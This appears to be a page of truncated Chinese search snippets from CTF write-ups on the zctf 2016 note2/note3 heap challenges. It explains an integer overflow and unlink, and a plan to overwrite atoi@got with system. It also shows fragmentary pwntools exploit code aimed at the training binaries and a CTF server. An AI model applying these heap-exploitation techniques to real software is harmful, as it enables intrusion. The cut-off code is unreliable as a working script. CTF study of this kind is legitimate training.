最后将atoi@got值改为system地址,然后在选择功能时输入/bin/sh即可得到shell。 Expolit 漏洞利用代码如下: frompwnimport*p = process('./note3')#context.log_level = 'debug'defnew(size,content):p.sendlineafter('option--->>','1')p.sendlineafter('1024)',str(size))p.sendlineafter('content:', c...
(16条消息) zctf_2016_note3_seaaseesa的博客-CSDN博客 例行检查我就不放了 进入edit页面 这里有整数溢出,当输入为0x8000000000000000时,即可使得index为-1,由于输入的长度不够,因此将0x8000000000000000转为负数的形式输入进去即可,因为有符号数除的余数也是有符号数 所以之后我们就可以进行常规的unlnk了 unlink如果...
添加note,size 限制为 0x80,size 会被记录,note 指针会被记录。 展示note 内容。 编辑note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。 释放note。漏洞在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换为...
ZCTF2016_note2 exp.py note2 note2.i64 asis2016_b00ks bctf2016_bcloud bctf2018_baby_arena ciscn2017_NotFormat ciscn2018_semifinal_pwn2 ciscn2018_semifinal_pwn3 cmcc_pwnme1 cmcc_pwnme2 cmcc_pwnme3 cmcc_simplerop hgame2018_flag_server hitb2017_1000levels hitb2018_gundam hitconTraining_bamboobo...
defshow(idx:int):p.recvuntil(b'option--->>')p.sendline(b"2")p.recvuntil(b"Input the id of the note:\n")p.sendline(str(idx).encode())pass defedit(idx:int,mode:int,content):p.recvuntil(b'option--->>')p.sendline(b"3")p.recvuntil(b"Input the id of the note:\n")p.sendlin...
下面是4个主要功能,添加 note,size 限制为 0x80,size 会被记录,note 指针会被记录。 NewNote 溢出点代码 View Code 展示note 内容。 ShowNote 编辑note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。 EditNote 释放note。 DeleteNote
local =0binary ="./note2"libc_path ='../libc-2.23.so'port ="29856"iflocal ==1: p = process(binary)else: p = remote("node3.buuoj.cn",port)defdbg(): context.log_level ='debug'context.terminal = ['tmux','splitw','-h']defname(name): ...
frompwnimport*#context.log_level = 'debug'#io = process('./note2')io = remote('node3.buuoj.cn',28019) elf = ELF('./note2') libc = ELF('./libc/libc-2.23.so') atoi_got = elf.got['atoi']defnew(size,content): io.recvuntil('option--->>') ...